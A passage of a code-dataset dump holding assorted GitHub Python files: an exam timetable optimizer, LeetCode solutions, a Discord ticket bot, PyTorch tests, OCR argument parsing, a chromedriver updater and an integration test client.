e2 in self.conflict_exams_pairs:\n spats1, spats2 = self.exam2spats[e1], self.exam2spats[e2]\n if spats1[0] == spats2[0] and spats1[1] == spats2[1]:\n feasible = False\n time_feasible = False\n print(f\"{e1} and {e2} are arranged on the same day and slot, but they are conflicting\")\n return feasible, cap_feasible, time_feasible\n\n def output_table(self, path=\"./data/optimized_table.csv\"):\n table = self.ts_table.fillna(\"\")\n table = table.astype(str)\n for exam, spats in self.exam2spats.items():\n row_idx = table.query(f'day == \"{spats[0]}\" & slot == \"{spats[1]}\"').index[0]\n table.at[row_idx, spats[2]] = exam\n table.to_csv(path, index=False)\n\n @staticmethod\n def evaluate(individual, fixed_exams: dict, bindings: dict, available_spatio_timeslots: list,\n student2exams: dict, exam2students: dict, week2date_dict: dict, kpi_coef: dict,\n room_caps: dict, conflict_exams_pairs):\n # combine three types of exams to get complete exam timetable\n exam2spats = GAOptimizer.gen_full_table(available_spatio_timeslots, individual, fixed_exams, bindings)\n\n kpi_value = GAOptimizer.calculate_kpis(exam2spats, student2exams, week2date_dict)\n\n # calculate the weighted fitness\n fitness = sum(kpi_coef[kpi] * kpi_value[kpi] for kpi in KPI_SET)\n\n # penalize capacity feasibility violation\n for exam, spats in exam2spats.items():\n if exam not in fixed_exams:\n stu_n = len(exam2students[exam])\n cap = room_caps[spats[2]]\n if stu_n > cap:\n fitness -= INF\n\n # penalize conflicting-exam feasibility violation\n for e1, e2 in conflict_exams_pairs:\n spats1, spats2 = exam2spats[e1], exam2spats[e2]\n if spats1[0] == spats2[0] and spats1[1] == spats2[1]:\n fitness -= INF\n\n return fitness,\n\n @staticmethod\n def calculate_kpis(exam2spats, student2exams, week2date_dict):\n # init kpi values\n kpi_value = {kpi: 0 for kpi in KPI_SET}\n # calculate KPI values - 2/3 consecutive exams and 3 exams in a week\n for _, registered_exams in student2exams.items():\n student_exam_spatss = [exam2spats[exam] for exam in registered_exams]\n student_exam_spatss.sort(key=lambda x: x[0])\n\n # check whether this student has 2 or 3 consecutive exams\n consecutive_count = 1\n for pre_exam, next_exam in zip(student_exam_spatss[:-1], student_exam_spatss[1:]):\n if next_exam[0] == pre_exam[0]:\n kpi_value[KPI_OVERLOAD_1] += 1\n elif next_exam[0] - pre_exam[0] == 1:\n consecutive_count += 1\n else:\n if consecutive_count == 2:\n kpi_value[KPI_CONSEC_1] += 1\n elif consecutive_count == 3:\n kpi_value[KPI_CONSEC_2] += 1\n consecutive_count = 1\n\n # check whether this student has more than 3 exams in a week\n student_exam_dates_set = set(spats[0] for spats in student_exam_spatss)\n for week in week2date_dict:\n if len(student_exam_dates_set.intersection(set(week2date_dict[week]))) > 3:\n kpi_value[KPI_OVERLOAD_2] += 1\n if len(student_exam_dates_set.intersection(set(week2date_dict[week]))) == 4:\n kpi_value[KPI_OVERLOAD_3] += 1\n if len(student_exam_dates_set.intersection(set(week2date_dict[week]))) == 5:\n kpi_value[KPI_OVERLOAD_4] += 1\n # calculate kpi value - the duration of the exam period (captured by the day of last exams\n last_exam_date = 0\n for spats in exam2spats.values():\n if spats[0] > last_exam_date:\n last_exam_date = spats[0]\n kpi_value[KPI_EXAM_DURA] = last_exam_date\n return kpi_value\n\n @staticmethod\n def gen_full_table(available_spatio_timeslots, arranged_exams, fixed_exams, bindings):\n \"\"\"combine three types of exams to get complete exam timetable\"\"\"\n exam2spats = {exam: spats for exam, spats in zip(arranged_exams, available_spatio_timeslots) if\n exam != NO_EXAM_PLACEHOLDER}\n exam2spats.update(fixed_exams)\n exam2spats.update({exam_k: exam2spats[exam_v] for exam_k, exam_v in bindings.items()})\n return exam2spats\n\n\nif __name__ == \"__main__\":\n # input\n rooms = (\"R060\", \"R064\", \"R301\", \"R307\", \"R315\")\n room_caps = {\"R060\": 84, \"R064\": 63, \"R301\": 68, \"R307\": 63, \"R315\": 28}\n fixed_exams = {\"CIVE97122\": (5, \"am\", \"R315\")}\n kpi_coef = {KPI_CONSEC_1: -0,\n KPI_CONSEC_2: -0,\n KPI_OVERLOAD_1: -0,\n KPI_OVERLOAD_2: -0,\n KPI_OVERLOAD_3: 0,\n KPI_OVERLOAD_4: 0,\n KPI_EXAM_DURA: -200}\n regis_file = \"./data/exam_registration.csv\"\n timespace_file = \"./data/exam_timetable_2023.csv\"\n # optimize\n exam_opt = GAOptimizer()\n exam_opt.initialize(timespace_file, rooms, room_caps, fixed_exams, regis_file, \"CID\")\n exam_opt.optimize(kpi_coef, pop_size=100, mutation_rate=0.4, num_generation=800)\n print(exam_opt.get_feasibility())\n print(exam_opt.get_kpis())\n exam_opt.output_table()\n\n # # print results to console\n # exam_opt.print_result(exam_table=True, student_statistic=True)\n # # save results to local files\n # exam_opt.output_time_table(student_specific=True)\n","repo_name":"keyang-zhang/exam-timetable-opt","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":14370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3981699440","text":"# The isBadVersion API is already defined for you.\n# @param version, an integer\n# @return a bool\n# def isBadVersion(version):\n\nclass Solution(object):\n def firstBadVersion(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n\n # indices from two ends\n low = 1\n high = n\n\n # keep looping while low is still lower than high\n while low < high:\n\n # get the middle in between\n middle = (high - low) / 2 + low\n\n # if it is a bad version move the higher version to middle\n if isBadVersion(middle):\n high = middle\n\n\n # if not then move low to the next of middle\n else:\n low = middle + 1\n\n return low\n","repo_name":"kimjaspermui/LeetCode","sub_path":"First Bad Version/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22056893509","text":"class Solution(object):\n def fourSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n nums.sort()\n solution = []\n new_num = []\n result = []\n for i, j in enumerate(nums):\n if j >= target & target>0:\n break\n three_sum_target = target-j\n new_num = nums[i + 1:]\n for q, l in enumerate(new_num):\n res = new_num[q+1:]\n two_sum_target = three_sum_target-l\n result = self.twosum(res, two_sum_target)\n if result is None:\n continue\n for k in result:\n k.insert(0, l)\n k.insert(0, j)\n solution.append(k)\n solution = list(set([tuple(t) for t in solution]))\n solution = [list(t) for t in solution]\n return solution\n\n def twosum(self, nums, target):\n solution = []\n new_num = []\n result = []\n for i, j in enumerate(nums):\n if j > target & target>0:\n break\n one_sum_target = target - j\n new_num = nums[i + 1:]\n if one_sum_target in new_num:\n result = [j, one_sum_target]\n else:\n continue\n solution.append(result)\n solution = list(set([tuple(t) for t in solution]))\n solution = [list(t) for t in solution]\n return solution\n\nif __name__ == \"__main__\":\n sol = Solution()\n array = [1, 0, -1, 0, -2, 2]\n target = 0\n print(sol.fourSum(array,target))","repo_name":"Lingfeng-Z/Leetcode-Practice","sub_path":"18. 4Sum.py","file_name":"18. 4Sum.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72123816860","text":"import sys\nsys.stdin = open('sample_input.txt')\n\n\n# 최소힙\ndef tree(v):\n global last\n last += 1 # 마지막 정점 추가\n heap[last] = v # 마지막 정점에 키 값을 넣는다\n\n c = last\n p = c // 2\n\n # 부모가 있거나, 부모 > 자식이면 자리 교환\n while p and heap[p] > heap[c]:\n heap[p], heap[c] = heap[c], heap[p]\n\n c = p\n p = c // 2\n\n\nt = int(input())\nfor tc in range(1, t + 1):\n n = int(input())\n nods = list(map(int, input().split()))\n\n heap = [0] * (n + 1)\n last = 0\n result = 0\n\n for i in nods:\n tree(i)\n\n # i > 0 인 경우\n while n:\n n //= 2\n result += heap[n]\n\n print(f'#{tc} {result}')\n","repo_name":"hagnoykmik/Algorithm-workshop","sub_path":"15.Tree_실습/5177.이진힙/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7425192700","text":"# 2_3_3-3.py\n\n# Дан список\nl = [2,4,6,7,10,12,14,16]\nprint(l)\n\n# 1) Заменил второй элемент списка на 0;\nl.pop(1)\nl.insert(1, 0)\nprint(l)\n\n# Добавил числа 1, 2 и 3 в конец списка;\nl.append(1)\nl.append(2)\nl.append(3)\nprint(l)\n\n# Удвоить список\nl.extend(l)\nprint(l)","repo_name":"YuriyNikolaev/Python","sub_path":"Olimpium/Тема_02/2_3_3-3_done.py","file_name":"2_3_3-3_done.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23047050281","text":"from setuptools import setup, find_packages\n\ntry:\n with open('README.md') as fh:\n LONG_DESC = fh.read()\nexcept (IOError, OSError):\n LONG_DESC = ''\n\nsetup(\n name=\"repachain\",\n version='1.0.2',\n url='https://github.com/dyuri/minchain',\n license='MIT',\n author='Gyuri Horák',\n author_email='dyuri@horak.hu',\n description='Minimal blockchain',\n long_description=LONG_DESC,\n long_description_content_type='text/markdown',\n packages=find_packages(\"src\"),\n package_dir={\"\": \"src\"},\n platforms='any',\n python_requires=\">=3.6\",\n data_files=[(\"\", [\"LICENSE.txt\"])],\n classifiers=[\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'License :: OSI Approved :: MIT License',\n ]\n)\n","repo_name":"dyuri/repachain","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"26918541264","text":"#Задайте список из n чисел последовательности (1+1/n)^n и выведите на экран их сумму.\n\na = int(input(\"Задайте число N: \"))\n\ndef arr (n):\n m = []\n for i in range (1,n+1):\n m.append((1+1/i)**i)\n return m\n\nprint(arr(a))\nprint(sum(arr(a)))\n","repo_name":"ElenaPetrova250/Python","sub_path":"sem2/task2-3/task2-3.py","file_name":"task2-3.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"15955475909","text":"import discord\nimport asyncio\nimport time\nimport json\nfrom discord.utils import get\nfrom discord.ext import commands\nfrom discord.ext.commands import Bot\n\nwith open('config.json', 'r') as f:\n config = json.load(f)\n\nclass TicketButtons(discord.ui.Button['TicketCreator']):\n def __init__(self, ticketCategory, y: int):\n super().__init__(style=discord.ButtonStyle.primary, label=ticketCategory, custom_id=ticketCategory, row=y)\n\n async def callback(self, interaction: discord.Interaction):\n assert self.view is not None\n view: TicketCreator = self.view\n\n this_guild = None\n permission_groups = []\n for guild in config['guilds']:\n if guild['gid'] == interaction.guild_id:\n this_guild = guild\n break\n\n for category in this_guild['ticket_config']['categories']:\n if category['title'] == self.custom_id:\n channel = await interaction.guild.create_text_channel(name=f\"ticket#{this_guild['ticket_config']['ticket_id']}\", category=category['id'], reason='Ticket')\n await interaction.response.send_message(content=f\"{interaction.user.mention} New **{self.label}** ticket available here: {channel.mention}\", ephemeral=True)\n\n for role_id in this_guild['ticket_config']['roles']:\n role_id = int(role_id.strip(' ')[3:-1])\n permission_groups.append(get(interaction.guild.roles, id=role_id))\n permission_groups.append(interaction.user)\n print(permission_groups)\n for permission_group in permission_groups:\n await channel.set_permissions(permission_group, read_messages=True, send_messages=True)\n\n this_guild['ticket_config']['ticket_id'] += 1\n\n # write new config settings to file.\n with open('config.json', 'w', encoding='utf-8') as f:\n json.dump(config, f, ensure_ascii=False, indent=4)\n\nclass TicketCreator(discord.ui.View):\n def __init__(self):\n super().__init__()\n for i, ticketCategory in enumerate(['PvP', 'Legacy', 'Survival', 'Extreme', 'Creative', 'Discord/Other']):\n y = 0\n if i > 4: # Buttons limited to 5 per line\n y = 1\n self.add_item(TicketButtons(ticketCategory, y))\n\nclass ticket(commands.Cog):\n def __init__(self, client):\n self.client = client\n self.bot_admin = client.get_cog('bot_admin')\n\n # ticket config command\n @commands.command()\n async def ticketconfig(self, ctx):\n def check(message):\n return ctx.message.author == message.author # ensures the bot only moves forward with ticketconfig if original author responds\n\n config = await self.bot_admin.read_config()\n config, this_guild = await self.bot_admin.create_guild(config = config, gid = ctx.guild.id)\n questions = ('What channel will tickets be created in?',\n 'What roles should have access to tickets? EX: @Admim, @Moderator',\n 'List the ticket types & category IDs EX: type/ID, type/ID')\n responses = []\n\n for question in questions:\n await ctx.send(embed=discord.Embed(description=question, color=0x589BFF))\n responses.append((await self.client.wait_for('message', check=check)).content)\n\n this_guild['ticket_config'] = {'ticket_id': this_guild['ticket_config']['ticket_id'],'channel': '','message': this_guild['ticket_config']['message'],'roles': [],'categories': []}\n this_guild['ticket_config']['channel'] = int(responses[0].strip('<#>'))\n for role in responses[1].split(','):\n this_guild['ticket_config']['roles'].append(int(role.strip('<@&> ')))\n for category in responses[2].split(', '):\n split_category = category.rsplit('/',1)\n ticket_categories = {'title': split_category[0], 'id': int(split_category[1])}\n this_guild['ticket_config']['categories'].append(ticket_categories)\n\n guild = self.client.get_guild(this_guild['gid'])\n channel = guild.get_channel(this_guild['ticket_config']['channel'])\n if this_guild['ticket_config']['message'] is not None:\n message = await channel.fetch_message(this_guild['ticket_config']['message'])\n await message.delete()\n\n message = await channel.send('Select a button to create a ticket', view=TicketCreator()) # starts tickets\n this_guild['ticket_config']['message'] = message.id\n await self.bot_admin.write_config(config) # write new config settings to file.\n\ndef setup(client):\n client.add_cog(ticket(client))\n","repo_name":"arkadepvp/arkade-discord-bot","sub_path":"cogs/ticket.py","file_name":"ticket.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"43285867719","text":"from typing import Callable, List\nimport unittest\n\nimport torch\n\nfrom smot.doc_link.link_annotations import api_link\nfrom smot.testlib import eggs, torch_eggs\n\n\n@api_link(\n target=\"torch.transpose\",\n ref=\"https://pytorch.org/docs/stable/generated/torch.transpose.html\",\n alias=[\"torch.swapdims\", \"torch.swapaxes\"],\n)\n@api_link(\n target=\"torch.swapaxes\",\n ref=\"https://pytorch.org/docs/stable/generated/torch.swapaxes.html\",\n alias=[\"torch.transpose\", \"torch.swapdims\"],\n)\n@api_link(\n target=\"torch.swapdims\",\n ref=\"https://pytorch.org/docs/stable/generated/torch.swapdims.html\",\n alias=[\"torch.transpose\", \"torch.swapaxes\"],\n)\nclass TransposeTest(unittest.TestCase):\n ALIASES: List[Callable[[torch.Tensor, int, int], torch.Tensor]] = [\n torch.transpose,\n torch.swapaxes,\n torch.swapdims,\n ]\n\n def test_transpose(self) -> None:\n source = torch.tensor(\n [\n [0, 1, 2],\n [3, 4, 5],\n ],\n )\n for transpose in self.ALIASES:\n torch_eggs.assert_tensor_equals(\n transpose(source, 0, 1),\n expected=[\n [0, 3],\n [1, 4],\n [2, 5],\n ],\n view_of=source,\n )\n\n def test_error(self) -> None:\n source = torch.ones(2, 3)\n for transpose in self.ALIASES:\n eggs.assert_raises(\n lambda: transpose(source, 0, 3),\n IndexError,\n \"Dimension out of range\",\n )\n\n def test_transpose_3d(self) -> None:\n source = torch.tensor(\n [\n [\n [[0, 1], [2, 3], [4, 5]],\n [[6, 7], [8, 9], [10, 11]],\n ]\n ],\n )\n\n for transpose in self.ALIASES:\n torch_eggs.assert_tensor_equals(\n transpose(source, 0, 2),\n expected=[\n [\n [[0, 1]],\n [[6, 7]],\n ],\n [\n [[2, 3]],\n [[8, 9]],\n ],\n [\n [[4, 5]],\n [[10, 11]],\n ],\n ],\n view_of=source,\n )\n","repo_name":"crutcher/smot","sub_path":"smot/api_tests/torch_api/restructure/torch_transpose_test.py","file_name":"torch_transpose_test.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"21073445702","text":"import ast\nfrom PIL import Image\nimport numpy as np\nfrom tools.infer.utility import draw_ocr_box_txt, str2bool, init_args as infer_args\n\n\ndef init_args():\n parser = infer_args()\n\n # params for output\n parser.add_argument(\"--output\", type=str, default='./output')\n # params for table structure\n parser.add_argument(\"--table_max_len\", type=int, default=488)\n parser.add_argument(\"--table_algorithm\", type=str, default='TableAttn')\n parser.add_argument(\"--table_model_dir\", type=str)\n parser.add_argument(\"--merge_no_span_structure\", type=str2bool, default=True)\n parser.add_argument(\"--table_char_dict_path\", type=str, default=\"./ppocr/utils/dict/table_structure_dict_ch.txt\")\n # params for layout\n parser.add_argument(\"--layout_model_dir\", type=str)\n parser.add_argument(\"--layout_dict_path\",type=str, default=\"./ppocr/utils/dict/layout_dict/layout_publaynet_dict.txt\")\n parser.add_argument(\"--layout_score_threshold\",type=float,default=0.5,help=\"Threshold of score.\")\n parser.add_argument(\"--layout_nms_threshold\",type=float,default=0.5, help=\"Threshold of nms.\")\n # params for kie\n parser.add_argument(\"--kie_algorithm\", type=str, default='LayoutXLM')\n parser.add_argument(\"--ser_model_dir\", type=str, default='./saved_model/kie/')\n parser.add_argument(\"--ser_dict_path\", type=str, default=\"./config/kie/labels_med.txt\")\n # need to be None or tb-yx\n parser.add_argument(\"--ocr_order_method\", type=str, default='tb-yx')\n # params for inference\n parser.add_argument(\"--mode\", type=str, default='kie', help='structure and kie is supported')\n parser.add_argument(\"--image_orientation\",type=bool, default=False, help='Whether to enable image orientation recognition')\n parser.add_argument(\"--layout\", type=str2bool, default=True, help='Whether to enable layout analysis')\n parser.add_argument(\"--table\", type=str2bool, default=True, help='In the forward, whether the table area uses table recognition')\n parser.add_argument(\"--ocr\", type=str2bool, default=True, help='In the forward, whether the non-table area is recognition by ocr')\n # param for recovery\n parser.add_argument(\"--recovery\", type=str2bool, default=False, help='Whether to enable layout of recovery')\n parser.add_argument(\"--save_pdf\", type=str2bool, default=False, help='Whether to save pdf file')\n\n return parser\n\n\ndef parse_args():\n parser = init_args()\n return parser.parse_args()\n\n\ndef draw_structure_result(image, result, font_path):\n if isinstance(image, np.ndarray):\n image = Image.fromarray(image)\n boxes, txts, scores = [], [], []\n for region in result:\n if region['type'] == 'table':\n pass\n else:\n for text_result in region['res']:\n boxes.append(np.array(text_result['text_region']))\n txts.append(text_result['text'])\n scores.append(text_result['confidence'])\n im_show = draw_ocr_box_txt(\n image, boxes, txts, scores, font_path=font_path, drop_score=0)\n return im_show\n","repo_name":"yjjoo1234/labelMaker","sub_path":"tools/kie_utility.py","file_name":"kie_utility.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73413285021","text":"# coding: UTF-8\n\n'''\n参考サイト: http://blog.sbfm.jp/archives/182\nchromedriver url: https://chromedriver.chromium.org/downloads\n\nwebdriverのバージョンとchromeのバージョンを確認し、\n古い物になっていたら、webdriverをupdateしてくれる\n\n'''\n\nimport os\nimport re\nimport zipfile\nimport urllib.request\nfrom lxml import html\n\ndef GetChromeVersion():\n # chrome versionをフォルダ名から取得\n chrome_install_dir = r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\"\n files = os.listdir(chrome_install_dir)\n\n # フォルダ内のフォルダのみ取得 (ファイルは省く)\n folders = [f for f in files if os.path.isdir(os.path.join(chrome_install_dir, f))]\n\n # version取得\n version = folders[0]\n\n print(version)\n\n return version\n\ndef GetWebDriverVersion():\n version = 0\n if (os.path.exists(\"chromedriver.exe\") == True):\n with open(\"webdriver_version.txt\", \"r\") as fp:\n version = fp.read()\n else:\n print(\"webdriver is not exists\")\n version = 0\n\n print(version)\n\n return version\n\ndef GetMajorVersion(full_version):\n major_version = 0\n if (full_version != 0):\n return str(re.search(\"[0-9]*\", full_version).group())\n\n return major_version\n\ndef GetURLwebdriver(chrome_major_version):\n # chrome driverのurl設定\n url = \"https://chromedriver.chromium.org/downloads\"\n\n # url先のhtml取得\n with urllib.request.urlopen(url) as f:\n htmltext = f.read().decode(\"utf-8\")\n\n # xpathで項目取得\n title = html.fromstring(htmltext).xpath(r'//*[@id=\"h.e02b498c978340a_87\"]/div/div/ul[1]')\n\n chromeDriverVesionList = title[0].xpath(\"li\")\n\n DriverVersion = \"\"\n for versionValue in chromeDriverVesionList:\n # リンク取得\n versionValueLinkList = versionValue.xpath(\"p/span/a\")\n\n # 要素が空の場合はスキップ\n if (len(versionValueLinkList) == 0):\n continue\n\n chromeDriverStatus = versionValueLinkList[0].text\n\n # メジャーバージョンを取得 (前方の文字がChromeDriver の場合にバージョンを取得する)\n m = re.search(\"(?<=ChromeDriver )[0-9]*\", chromeDriverStatus)\n\n # ローカルのバージョンと一致するか確認, 一致したら結果を保存\n if (str(m.group()) == str(chrome_major_version)):\n versionOfMajor = re.search(\"(?<=ChromeDriver ).*\", chromeDriverStatus)\n DriverVersion = str(versionOfMajor.group())\n\n # webdriver zipのurl設定\n target_url = \"\"\n if (DriverVersion != \"\"):\n target_url = \"https://chromedriver.storage.googleapis.com/{}/chromedriver_win32.zip\".format(DriverVersion)\n\n return target_url, DriverVersion\n\ndef ExtractWebDriverZip(target_url):\n if (target_url != \"\"):\n print(\"zip file download from {}\".format(target_url))\n\n # zip file download\n zip_save_path = \".\\\\temp.zip\"\n urllib.request.urlretrieve(target_url, zip_save_path)\n\n # extract zip file\n with zipfile.ZipFile(zip_save_path) as zipF:\n zipF.extractall(\".\\\\\")\n\n os.remove(zip_save_path)\n\n with open(\"webdriver_version.txt\", \"w\") as fp:\n fp.write(DriverVersion)\n else:\n print(\"webdriver url is not fount\")\n\ndef DownloadWebDriver(chrome_version, webdriver_version):\n # それぞれのmajor version取得 (major versionが異なる場合のみ、webdriverを取得する)\n chrome_major_version = GetMajorVersion(chrome_version)\n webdriver_major_version = GetMajorVersion(webdriver_version)\n\n if (chrome_major_version != webdriver_major_version):\n print(\"start download webdriver for chrome version {}\".format(chrome_version))\n\n # webdriverのzip URL取得\n target_url, DriverVersion = GetURLwebdriver(chrome_major_version)\n\n # webdriver zipを展開\n ExtractWebDriverZip(target_url)\n\n else:\n print(\"this webdriver is not problem.\")\n\nif __name__ == \"__main__\":\n # chrome version取得\n chrome_version = GetChromeVersion()\n\n # webdriver version取得\n webdriver_version = GetWebDriverVersion()\n\n # webdriver 取得 \n DownloadWebDriver(chrome_version, webdriver_version)","repo_name":"greensprin/WebScraping","sub_path":"00_webdriver/update_webdriver.py","file_name":"update_webdriver.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26181734128","text":"class Solution(object):\n def maxArea(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n # 初始化\n \n l = 0\n r = len(height)-1\n max_area = 0\n \n while lheight[r]:\n r = r-1\n else:\n l = l+1\n return max_area\n","repo_name":"qiaohaijun/my-leetcode","sub_path":"python_solution/0011-container-with-most-water.py","file_name":"0011-container-with-most-water.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"14000483315","text":"from django.urls import path\n\nfrom products.views import ClothListCreateAPIView, SportToolListCreateAPIView, GetColorAPIView, GetSizeAPIView\n\napp_name = 'products'\n\nurlpatterns = [\n path('cloth_list_create', ClothListCreateAPIView.as_view()),\n path('sport_tool_list_create', SportToolListCreateAPIView.as_view()),\n path('color_list', GetColorAPIView.as_view()),\n path('size_list', GetSizeAPIView.as_view())\n]\n","repo_name":"sepehrjavid/Shopping_Backend","sub_path":"products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"16633189129","text":"#!/usr/bin/python3\n\nfrom lyrics_extractor import Song_Lyrics\nimport sys\nimport tkinter as tk\n\n# API and Search engine\nextract_lyrics = Song_Lyrics(\"API-KEY\", \"ENGINE-ID\")\n\nquery = \"\"\n\n# Check for cli arguments, [0] is always filename\nif len(sys.argv) > 1:\n\targs = sys.argv\n\tfor a in args[1:]:\n\t\tquery = query + \" \" + a\n# Otherwise, prompt for input\nelse:\n query = input(\"Lyrics search: \")\n\nsong_title, song_lyrics = extract_lyrics.get_lyrics(query)\n\n#print(song_title)\n#print(song_lyrics)\n\n# Open the main window & start the Tcl interpreter\nroot = tk.Tk()\n\n# Make a Frame to hold the Text widget and its Scrollbar\nframe = tk.Frame(root)\nframe.pack()\n\n# Add the Scrollbar first so that it doesn't\n# disappear when the window width is small\nscrollbar = tk.Scrollbar(root)\nscrollbar.pack(side=tk.RIGHT, fill=tk.Y)\n\n# Add the Text widget\nviewer = tk.Text(root, wrap=\"word\", yscrollcommand=scrollbar.set)\nviewer.pack(side=tk.RIGHT, fill=tk.BOTH, expand=True)\n\n# Connect the Scrollbar to the Text widget\nscrollbar.config(command=viewer.yview)\n\n# Get the file name from the command line\n#fname = sys.argv[1]\n\n# Read the text file and add its contents to the Text widget\nviewer.insert(tk.END, song_title + \"\\r\\n\\r\\n\" + song_lyrics)\n\nroot.mainloop()\n","repo_name":"sirken/lyrics-cli","sub_path":"lyrics-gui.py","file_name":"lyrics-gui.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18483540601","text":"\nimport datetime\nimport sys\nsys.path.append('../gen-py')\nfrom thrift import Thrift\nfrom EyePi.ttypes import EyePiInput\nfrom GenericStruct.ttypes import ActionEnum\nfrom WeatherPi.ttypes import WeatherInput\nfrom AgendaPi.ttypes import GetItemsActionInput\nfrom PhotoPi.ttypes import GetRandomPhotoActionInput\nfrom PhonePi.ttypes import GetStatus\nfrom PhonePi.ttypes import PlaySound\n\nimport pickle\n\n\nfrom PythonEarPiClient import testFlow\nfrom ConnectionHelpers.ConnectEyePi import ConnectEyePi\n\n\nclass TestExtraGenericServices:\n\n __devicetoken = None\n __token = None\n __person = None\n\n def __init__(self):\n # define preconditions\n precondition_setup = testFlow()\n precondition_setup.enterFirstPerson()\n precondition_setup.loginWithUser()\n precondition_setup.confirmFirstDevice()\n precondition_setup.loginWithUser()\n self.__token, self.__devicetoken, self.__person = precondition_setup.get_class_state()\n\n def make_agenda_call(self):\n config = self.__unpickle(self.__person.autorisations[ActionEnum.AGENDA].module_config)\n agenda_input = GetItemsActionInput()\n agenda_input.email = config.email\n\n input = EyePiInput()\n input.deviceToken = self.__devicetoken\n input.token = self.__token\n actions = dict()\n actions[ActionEnum.AGENDA] = self.__pickle(agenda_input)\n input.action = actions\n\n output = ConnectEyePi().handleRequest(input)\n print(output)\n print(self.__unpickle_action(output.data, ActionEnum.AGENDA))\n if output.ok:\n print(\"output = ok\")\n self.__token = output.token\n\n def make_weather_call(self):\n input = EyePiInput()\n input.deviceToken = self.__devicetoken\n input.token = self.__token\n actions = dict()\n actions[ActionEnum.WEATHER] = self.__person.autorisations[ActionEnum.WEATHER].module_config\n input.action = actions\n\n output = ConnectEyePi().handleRequest(input)\n print(output)\n print(self.__unpickle_action(output.data, ActionEnum.WEATHER))\n if output.ok:\n self.__token = output.token\n\n def make_photo_call(self):\n config = self.__unpickle(self.__person.autorisations[ActionEnum.PHOTO].module_config)\n photo_input = GetRandomPhotoActionInput()\n photo_input.email = config.email\n\n input = EyePiInput()\n input.deviceToken = self.__devicetoken\n input.token = self.__token\n actions = dict()\n actions[ActionEnum.PHOTO] = self.__pickle(photo_input)\n input.action = actions\n\n output = ConnectEyePi().handleRequest(input)\n print(output)\n print(self.__unpickle_action(output.data, ActionEnum.PHOTO))\n if output.ok:\n self.__token = output.token\n\n def make_phone_call(self):\n config = self.__unpickle(self.__person.autorisations[ActionEnum.PHONE].module_config)\n phone_input = GetStatus()\n phone_input.email = config.email\n\n input = EyePiInput()\n input.deviceToken = self.__devicetoken\n input.token = self.__token\n actions = dict()\n actions[ActionEnum.PHONE] = self.__pickle(phone_input)\n input.action = actions\n\n output = ConnectEyePi().handleRequest(input)\n print(output)\n print(self.__unpickle_action(output.data, ActionEnum.PHONE))\n if output.ok:\n self.__token = output.token\n\n @staticmethod\n def __unpickle(input):\n return pickle.loads(input, fix_imports=False, encoding=\"ASCII\", errors=\"strict\")\n\n @staticmethod\n def __unpickle_action(input, action):\n if len(input):\n return pickle.loads(input[action], fix_imports=False, encoding=\"ASCII\", errors=\"strict\")\n else:\n return None\n\n @staticmethod\n def __pickle(input):\n return pickle.dumps(obj=input, protocol=None, fix_imports=False)\n\nif __name__ == '__main__':\n\n starttime = datetime.datetime.utcnow()\n classUnderTest = TestExtraGenericServices()\n\n print(\"----> make agenda call\")\n classUnderTest.make_agenda_call()\n print((datetime.datetime.utcnow() - starttime).total_seconds())\n currenttime = datetime.datetime.utcnow()\n\n print(\"----> make weather call\")\n classUnderTest.make_weather_call()\n print((datetime.datetime.utcnow() - starttime).total_seconds())\n currenttime = datetime.datetime.utcnow()\n\n print(\"----> make photo call\")\n classUnderTest.make_photo_call()\n print((datetime.datetime.utcnow() - starttime).total_seconds())\n currenttime = datetime.datetime.utcnow()\n\n print(\"----> make phone call\")\n classUnderTest.make_phone_call()\n print((datetime.datetime.utcnow() - starttime).total_seconds())\n currenttime = datetime.datetime.utcnow()\n\n","repo_name":"emschimmel/BrainPi","sub_path":"1IntegrationTests/py-impl/TestExtraGenericServices.py","file_name":"TestExtraGenericServices.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"30196015800","text":"import os\nimport 